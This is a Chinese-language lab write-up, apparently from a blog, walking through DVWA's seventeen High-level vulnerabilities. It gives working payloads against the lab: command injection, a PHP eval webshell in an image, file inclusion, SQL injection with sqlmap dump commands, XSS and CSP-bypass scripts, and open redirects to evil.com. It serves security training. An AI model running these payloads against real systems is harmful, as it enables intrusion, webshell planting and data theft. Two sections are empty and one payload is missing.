DVWA 靶场实验报告 (High Level)

DVWA 靶场实验报告 (High Level)

难度等级 :High 报告说明 :本文为 DVWA 靶场 High 难度下17个漏洞 的详细渗透测试步骤,包含漏洞原理、利用方法、工具操作及核心Payload,全程基于Burp Suite、Sqlmap等工具实现,所有操作步骤均配套实操截图 www.cnblogs.com/wrold

📑 目录

  1. Brute Force --- 暴力破解
  2. Command Injection --- 命令注入
  3. CSRF --- 跨站请求伪造
  4. File Inclusion --- 文件包含
  5. File Upload --- 文件上传
  6. Insecure CAPTCHA --- 不安全的验证码
  7. SQL Injection --- SQL 注入
  8. SQL Injection (Blind) --- SQL 盲注
  9. Weak Session IDs --- 弱会话 ID
  10. XSS (DOM) --- DOM 型跨站脚本
  11. XSS (Reflected) --- 反射型跨站脚本
  12. XSS (Stored) --- 存储型跨站脚本
  13. CSP Bypass --- CSP 策略绕过
  14. JavaScript Attacks --- JavaScript 攻击
  15. Authorisation Bypass --- 越权访问
  16. Open HTTP Redirect --- 开放重定向
  17. Cryptography --- 密码学

1. Brute Force --- 暴力破解

漏洞特点

High 难度新增时间延迟 +user_token 验证,token 明文显示在前端页面,需动态提取 token 配合爆破。

利用步骤

  1. 抓包 :通过Burp Suite抓取登录请求包,可见usernamepassworduser_token三个核心参数,token 为32位随机字符串。
  2. 定位token :查看前端页面源码,token 藏在<input type="hidden" name="user_token" value="xxx">中,可通过正则匹配提取。
  3. Burp 配置
    • 进入Intruder,选择Pitchfork 交叉爆破 ,标记passworduser_token为爆破位置;
    • 进入Settings,开启提取Grep项 ,正则表达式配置为value=(.*?)\/>\r\n,匹配前端的token值;
    • user_token的Payload类型选择递归提取 ,并填入初始请求的有效token (抓包获取的原始token)。
  4. 爆破设置 :将资源池发包最大次数改为1 (禁止并发,避免token失效),加载密码字典开始爆破。
  5. 结果分析 :按响应长度排序 ,长度与其他条目不同的即为正确密码(正确登录的响应页面与错误页面长度存在明显差异)。

核心注意点

抓包后禁止提前发包,否则token会刷新导致爆破失败,需保证初始token与爆破请求一致。


2. Command Injection --- 命令注入

漏洞特点

High 难度对管道符等命令分隔符做了黑名单过滤,但过滤代码存在空格书写错误,导致过滤失效,可构造无空格的命令拼接Payload。

漏洞代码分析

php 复制代码
if(isset($_POST['Submit'])){
    $target= trim($_REQUEST['ip']);
    $substitutions = array(
        // 过滤代码存在多余空格,导致过滤逻辑失效
    );
    $target=str_replace( array_keys( $substitutions ),$substitutions, $target );
    if(stristr(php_uname('s'),"Windows NT")){
        $cmd=shell_exec("ping ".$target);
    }else{
        $cmd=shell_exec("ping -c4 ".$target);
    }
    $html.="<pre>{$cmd}</pre>";
}

利用方法

直接构造无空格管道符拼接的Payload,绕过滤黑名单位置:

bash 复制代码
127.0.0.1|whoami

提交后成功执行系统命令,返回当前用户信息。


3. CSRF --- 跨站请求伪造

漏洞特点

High 难度新增user_token 验证 ,token 明文显示在前端HTML源码中,单纯构造CSRF链接无法绕过,需配合XSS漏洞提取token后组合攻击。

漏洞分析

  1. 抓包修改密码请求,可见URL中包含password_newpassword_confuser_token参数,token为必填项。
  2. 查看前端源码,user_token藏在隐藏输入框中,攻击者无法直接获取受害者的token,但可通过XSS注入脚本自动提取受害者的token 并拼接CSRF请求。

攻击思路

  1. 利用靶场中存在的XSS漏洞(如反射型、存储型),构造XSS脚本提取页面中的user_token
  2. 将提取的token拼接至CSRF修改密码的URL中;
  3. 诱导受害者点击包含XSS+CSRF的恶意链接,实现自动修改密码。

4. File Inclusion --- 文件包含

漏洞特点

High 难度对page参数做了关键词白名单过滤 (仅允许包含file/fie),但未限制伪协议,可通过file://伪协议实现任意文件读取。

漏洞代码分析

php 复制代码
$file=$_GET['page'];
if(!fnmatch("file,fie",$file)&&$file !="include.php"){
    echo "ERROR:File not found!";
    exit;
}

利用方法

构造file://伪协议Payload,指定本地文件绝对路径,实现任意目录文件读取:

ruby 复制代码
http://dvwa:8564/vulnerabilities/fi/?page=file://D:/1.php

拓展利用

若服务器开启php://伪协议相关配置,可结合php://filter实现源码读取:

bash 复制代码
http://dvwa:8564/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index.php

5. File Upload --- 文件上传

漏洞特点

High 难度做了多重过滤 :文件类型校验、文件大小限制、getimagesize()图片头校验,无法直接上传webshell,需制作图片马 配合文件包含漏洞实现webshell执行。

漏洞代码分析

php 复制代码
// 校验文件后缀、大小、是否为图片
if((strtolower($uploaded_ext) in $allowed_ext)&&($uploaded_size<100000)&&getimagesize($uploaded_tmp)){
    // 上传成功逻辑
}

利用步骤

  1. 制作图片马 :任意正常图片(如11.png)后拼接PHP一句话webshell,保留图片文件头 (避免getimagesize()校验失败)。 // 图片马制作(cmd命令) copy 1.png /b + shell.php /a 11.png 图片马内容示例:<?php phpinfo();?>(测试用)/<?php @eval($_POST['pass']);?>(一句话webshell)。
  2. 上传图片马 :直接上传制作好的11.png,靶场提示上传成功,返回文件路径../hackable/uploads/11.png
  3. 文件包含利用 :通过File Inclusion漏洞的file://伪协议,包含上传的图片马,执行PHP代码: http://dvwa:8564/vulnerabilities/fi/?page=file:///D:/phpstudy_pro/WWW/DVWA-master/hackable/uploads/11.png 访问后成功执行phpinfo(),证明图片马生效。

核心注意点

图片马必须保留合法图片头 ,否则getimagesize()会检测出非图片文件,导致上传失败。


6. Insecure CAPTCHA --- 不安全的验证码


7. SQL Injection --- SQL 注入

漏洞特点

High 难度新增会话弹窗验证 ,但注入核心逻辑未变,仍为字符型注入,可通过手工注入或Sqlmap实现数据提取。

利用步骤(手工注入)

  1. 判断注入类型
    • 输入1:正常返回数据;
    • 输入1':页面报错,说明为字符型注入 ,需用单引号闭合,注释符#截断语句。
  2. 验证注入点 :输入1' and 1=1 #,正常返回数据;输入1' and 1=2 #,无数据返回,注入点有效。
  3. 判断列数 :输入1' order by 2 #,正常返回;输入1' order by 3 #,报错,说明查询结果为2列
  4. 联合注入提取数据
    • 提取数据库名:-1' union select 1,database() #
    • 提取表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
    • 提取字段名:-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
    • 提取账号密码:-1' union select user,password from users #

利用步骤(Sqlmap自动化注入)

由于注入结果在第二个页面 展示,需使用--second-url参数指定结果页面,命令如下:

bash 复制代码
# 读取所有数据库
sqlmap -r D:\Backup\桌面\1.txt --dbs --batch --second-url=http://dvwa:8564/vulnerabilities/sqli/
# 读取users表数据
sqlmap -r D:\Backup\桌面\1.txt -D dvwa -T users -C user,password --dump --batch --second-url=http://dvwa:8564/vulnerabilities/sqli/

执行后成功提取数据库中所有账号和加密后的密码。


8. SQL Injection (Blind) --- SQL 盲注

漏洞特点

High 难度在时间盲注中加入随机sleep延迟rand(0,5)==3时触发2-4秒延迟),导致时间盲注失效,仅能使用布尔盲注 实现数据提取。

漏洞代码分析

php 复制代码
else {
    // 随机sleep,干扰时间盲注
    if(rand(0,5)==3){
        sleep(rand(2,4));
    }
}

利用步骤(Sqlmap自动化布尔盲注)

  1. 抓包 :抓取盲注请求包,发现注入点位于Cookie的id参数 中(id=1)。
  2. 指定布尔盲注 :使用--technique=B参数强制Sqlmap使用布尔盲注,结合--second-url指定结果页面,命令如下:
bash 复制代码
sqlmap -r D:\Backup\桌面\1.txt --dbs --batch --second-url="http://dvwa:8564/vulnerabilities/sqli_blind/" --technique=B
  1. 结果提取 :Sqlmap通过布尔盲注的页面回显差异,成功爆破出所有数据库名(dvwa、security、pikachu等)。

核心注意点

请求包中有多个参数时,避免同时标记多个注入点,逐个测试定位真实注入点(本次为Cookie的id参数)。


9. Weak Session IDs --- 弱会话 ID

漏洞特点

High 难度的dvwaSession参数为MD5加密的简单数字,可通过MD5解密构造有效会话ID,导致会话劫持。

利用步骤

  1. 查看Cookie :在浏览器开发者工具中查看Cookie,可见dvwaSession=b6d767d2f8ed5d21a44b0e5886680cb9
  2. MD5解密 :将dvwaSession的值进行MD5解密,结果为22(简单数字)。
  3. 构造会话ID :通过MD5加密连续数字(21、22、23、24...),生成大量有效dvwaSession值,尝试会话劫持。

漏洞危害

攻击者可通过构造弱会话ID,冒充其他用户登录系统,获取敏感信息。


10. XSS (DOM) --- DOM 型跨站脚本

漏洞特点

High 难度对default参数做了白名单过滤(仅允许French、English、German、Spanish),非白名单值会被重定向,可通过**#号**绕过服务器过滤(服务器不解析#后参数,前端DOM解析)。

漏洞代码分析

php 复制代码
if(array_key_exists("default",$_GET)&&!is_nulL($_GET['default'])){
    switch($_GET['default']){
        case "French":case "English":case "German":case"Spanish":
            break;
        default:
            header("Location:?default=English");
            exit;
    }
}

利用方法

构造Payload,白名单值+#号+XSS脚本,服务器仅解析#前的English,前端DOM解析#后的XSS脚本:

ruby 复制代码
http://dvwa:8564/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>

访问后成功弹出弹窗,XSS利用成功。


11. XSS (Reflected) --- 反射型跨站脚本

漏洞特点

High 难度对<script>标签做了严格的正则过滤 (匹配任意变种的script关键字,如ScRiPt、script等),无法直接使用script标签,可通过事件型XSS绕过滤。

漏洞代码分析

php 复制代码
$name=preg_replace('/<(.*)s(.*)c(.*)(.)i(.*)p(.*)t/i',"",$_GET['name']);
$html.="<pre>hello{$name}</pre>";

利用方法

使用<img>标签的onerror事件构造无script的XSS Payload,触发弹窗:

ini 复制代码
<img src=x onerror=alert(1)>

提交后成功弹出弹窗,XSS利用成功。

拓展Payload

xml 复制代码
<div onmouseover=alert(1)>鼠标悬停触发</div>
<a href=javascript:alert(1)>点击触发</a>

12. XSS (Stored) --- 存储型跨站脚本

漏洞特点

High 难度对message字段做了多重过滤strip_tags+addslashes+htmlspecialchars),完全无法注入;对name字段仅过滤<script>标签,可在name字段构造事件型XSS,并修改前端输入框限制实现长Payload输入。

漏洞代码分析

php 复制代码
// message字段严格过滤
$message=strip_tags(addslashes( $message));
$message=htmlspecialchars ( $message);
// name字段仅过滤script标签
$name=preg_replace('/<(.*)s(.*)c(.*)i(.*)p(.*)t/i',"",$name);

利用步骤

  1. 修改前端输入限制name输入框默认有长度限制,通过浏览器开发者工具修改maxlength10000 ,允许输入长Payload。
  2. 构造Payload :在name字段输入<img>标签的onerror事件XSS Payload,message字段任意填写: :x:

3. 提交触发 :提交后留言簿中存储该Payload,任意用户访问留言簿页面时,自动弹出弹窗,存储型XSS利用成功。


13. CSP Bypass --- CSP 绕过

漏洞特点

High 难度配置了内容安全策略(CSP) ,仅允许加载self(自身域名)的脚本,禁止外部脚本和未授权内联脚本,但靶场自身代码存在逻辑漏洞 ,可通过自身的JSONP接口绕过CSP。

漏洞分析

  1. 查看响应头,CSP配置为:Content-Security-Policy: script-src 'self'
  2. 发现靶场存在JSONP接口/vulnerabilities/csp/source/jsonp.php?callback=xxx,该接口可接收任意callback参数并执行,且属于自身域名,符合CSP规则。
  3. 后端存在任意代码写入漏洞include参数可直接写入HTML/JS代码,无过滤。

利用方法

通过POST请求向include参数注入脚本,加载自身JSONP接口并执行XSS代码,Payload如下:

javascript 复制代码
include=<script src="/vulnerabilities/csp/source/jsonp.php?callback=alert(1)"></script>

操作步骤

  1. 打开Burp Suite的Repeater,构造POST请求,目标URL:http://dvwa:8564/vulnerabilities/csp/
  2. 请求体为application/x-www-form-urlencoded,参数:include=<script src="/vulnerabilities/csp/source/jsonp.php?callback=alert(1)"></script>
  3. 发送请求后,成功弹出弹窗,CSP绕过成功。

14. JavaScript Attacks --- JavaScript 攻击

漏洞特点

High 难度通过JavaScript加密算法 生成token,需提交正确的phrase+token才能通过验证,核心为分析加密逻辑并还原token生成过程。

加密逻辑分析

通过Burp抓包获取混淆的JS代码,反混淆 后得到3个核心加密函数,执行顺序为:token_part_1token_part_2(300ms延时) → token_part_3(点击提交触发)。

反混淆后核心JS代码
javascript 复制代码
// 字符串反转
function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}
// sha256(YY + token),High难度为XX
function token_part_2(e = "XX") {
    document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
// sha256(token + ZZ)
function token_part_3(t, y = "ZZ") {
    document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
// 反转phrase赋值给token
function token_part_1(a, b) {
    document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
// 执行顺序:先token_part_1,300ms后token_part_2,点击提交触发token_part_3
document.getElementById("phrase").value = "";
setTimeout(function() {token_part_2("XX")}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

利用方法(两种)

方法1:前端控制台手动执行加密函数
  1. 在输入框中填入正确的phrasesuccess

  2. 打开浏览器开发者工具控制台,按顺序执行加密函数:

    javascript 复制代码
    token_part_1("ABCD", 44);
    token_part_2("XX");

3. 点击提交按钮 ,触发token_part_3生成最终token,验证成功。

方法2:Python脚本还原加密过程,直接生成token

通过Python实现字符串反转+SHA256加密,直接生成最终token,构造POST请求提交。

Python加密脚本
python 复制代码
import hashlib

def do_something(e):
    """字符串反转"""
    return e[::-1]

def sha256(s):
    """SHA256 哈希计算"""
    return hashlib.sha256(s.encode()).hexdigest()

def calc_token(phrase="success"):
    # Step 1: token_part_1 - 反转phrase
    token = do_something(phrase)
    print(f"Step 1 (反转phrase): {token}")
    # Step 2: token_part_2 - sha256("XX" + token)
    token = sha256("XX" + token)
    print(f"Step 2 (sha256 XX+token): {token}")
    # Step 3: token_part_3 - sha256(token + "ZZ")
    token = sha256(token + "ZZ")
    print(f"Step 3 (sha256 token+ZZ): {token}")
    return token

if __name__ == "__main__":
    phrase = "success"
    token = calc_token(phrase)
    print(f"\n最终token: {token}")
    print(f"POST数据: phrase={phrase}&send=Submit&token={token}")
执行脚本

运行后生成最终token,通过Burp构造POST请求提交,验证成功。


15. Authorisation Bypass --- 越权访问

漏洞特点

High 难度对前端页面做了管理员权限校验 (非admin用户访问提示403),但对后端接口文件change_user_details.php未做鉴权,可直接发送JSON请求修改任意用户信息。

漏洞代码分析

php 复制代码
// 前端页面权限校验
![](https://cdn.jsdelivr.net/gh/Tjsdrj/BlogImage@main/img/20260303174017788.png)
if (dvwaCurrentUser() !="admin"){
    print "Unauthorised";
    http_response_code(403);
    exit;
}
// 后端接口change_user_details.php 无任何鉴权逻辑

利用方法

直接向change_user_details.php发送JSON格式的POST请求,修改任意用户的id、姓名等信息:

  1. 目标URL:http://dvwa:8564/vulnerabilities/authbypass/change_user_details.php

  2. 请求头:Content-Type: application/json

  3. 请求体(JSON):

    json 复制代码
    {"id":3,"first_name":"hacked","surname":"hacked"}

4. 发送请求后,返回{"result":"ok"},用户信息修改成功。


16. Open HTTP Redirect --- 开放重定向

漏洞特点

High 难度对redirect参数做了关键字匹配过滤 (仅允许包含info.php),但未限制info.php的位置,可构造包含info.php的恶意URL,实现任意地址重定向。

漏洞代码分析

php 复制代码
if (array_key_exists("redirect",$_GET) && $_GET['redirect']!=""){
    if(strpos($_GET['redirect'],"info.php")==false){
        http_response_code(500);
        echo "<p>You can only redirect to the info page.</p>";
        exit;
    }else{
        // 重定向逻辑
        header("Location: ".$_GET['redirect']);
    }
}

利用方法

构造包含info.php的恶意URL,绕过滤后将受害者重定向到钓鱼网站/恶意站点,核心Payload示例:

ini 复制代码
# Payload1:参数后拼接info.php
?redirect=https://evil.com/?x=info.php
# Payload2:子域名中包含info.php
?redirect=https://evil.com/info.php.attacker.com/
# Payload3:锚点后拼接info.php
?redirect=https://attacker.com#info.php

漏洞危害

攻击者诱导受害者点击恶意链接,受害者在信任的dvwa域名下被重定向到恶意站点,导致钓鱼、账号窃取等攻击。


17. Cryptography --- 密码学


相关推荐
运维有小邓@6 小时前
什么是重放攻击?如何避免成为受害者?
运维·网络·安全
夜珀7 小时前
AtomGit组织、权限与安全完全指南
安全
skilllite作者13 小时前
AI 自进化系统架构详解 (一):重新定义 L1-L3 等级,揭秘 OpenClaw 背后的安全边界
人工智能·安全·系统架构
夏冰加密软件13 小时前
【实测】文件加密软件解除保护的2种方法(以超级加密3000为例)
windows·安全
a11177614 小时前
网络安全检查表 docx 附文件
网络·安全·web安全
上海云盾商务经理杨杨14 小时前
DDoS攻击日志分析与攻击源定位实战
安全·ddos
dashizhi201517 小时前
电脑禁用U口、禁用USB端口、屏蔽移动存储设备使用的方法
windows·安全·电脑
东北甜妹18 小时前
Redis 知识总结
运维·nginx·安全
夫子樊18 小时前
资损防控与安全生产
安全
星幻元宇VR18 小时前
VR星际行走平台|沉浸式科普教育与未来体验的新入口
科技·学习·安全·生活·vr